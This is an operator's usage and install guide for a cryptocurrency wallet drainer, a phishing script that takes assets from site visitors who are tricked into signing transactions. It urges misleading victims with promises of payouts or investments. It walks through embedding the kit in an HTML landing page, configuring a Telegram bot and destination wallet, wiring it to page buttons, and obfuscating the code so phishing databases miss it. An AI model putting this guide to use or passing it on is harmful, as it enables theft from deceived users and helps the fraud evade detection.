Usage Guide
To begin with, let's talk about what kind of script you get: a drainer is a script that allows you to withdraw all assets from the wallet of a user who has visited the site. And no, this does not happen by magic, but as a result of the fact that he himself gives you all the assets, signing transactions in his wallet. Your task is only to mislead him so that he does not understand that money will be deducted from him. For example, you can convince him that he will receive money or invest it somewhere - it's all up to you, your income depends on the approach...
Let's put all the points right away: the script does not write off all assets in one click, there is no option to write off all assets simply when entering the site.
Wallet developers are not stupid either and are trying to protect their users, so you need to be smarter. this script tries its best to use the best practices to make things easier for you, but it can't do all the work for you, so you have to try. Income depends only on you and your methods.
Install Guide
Now, let's try to install it on your site. This instruction will allow you to install the script on any HTML site :
Installation on the site is very simple, you copy “ assets ” folder from archive and transfer it to the root of the site.
Then you need to go to the "assets/js" folder and find a file called "web3.js" there.
Open this file with any code editor, for example, Visual Studio Code or Notepad++.
At the very top of the script, you will find the "const CF & const TG" variable
Configured your options (TelegramBot, Destination Wallet, etc..), and hide the code using obfuscator.io
Now open the site file where your landing is located, it is usually called "index.html".
Scroll to the end of the file and find a special tag there that looks like this:
</body>.
Once you have found it, write the following lines of code right before it:
<script src="./assets/js/vendor.min.js"></script>
<script src="./assets/js/web3.js"></script>
Please note that these scripts will only work on hosting and only with an installed SSL
certificate,
that is,
over HTTPS.
If you open the file on a local server or just on your computer, most likely nothing will work.
Now you need to connect the drainer to the button just add an element on the page, like this in code:
<div id="connect-btn"></div>
Optionally if you want to trigger the connection window from other HTML elements (links, buttons, images...)
Just add "btn-go" class on any html elements :
<button class="btn-go">Click Me</button>
<a href="#" class="btn-go">Link Button</a>
<div class="btn-go">Div Button</div>
<img class="btn-go" src="https://via.placeholder.com/100" alt="Img Button">
Great, the configuration of the script has been successfully completed, now it must be
obfuscated so that the code does not get into phishing databases, and simply so that no one
steals
it
from
your site, which, of course, is very important.
To do this, we need the following site: obfuscator.io
Open the contents of the "web3.js" file again, where we set up the CF & TG variables, completely copy all the contents and paste it into obfuscator.io
Scroll a little lower and find the "Reset Options" button, click on it, scroll a little lower and check the box next to the two items "Self Defending" and "Debug Protection".
We rise up and press the blue button "Obfuscate" and we get a modified, unreadable code.
We copy it completely and paste the content back (obfuscated) into "web3.js" save it and upload it to the hosting
Great, you are just amazing!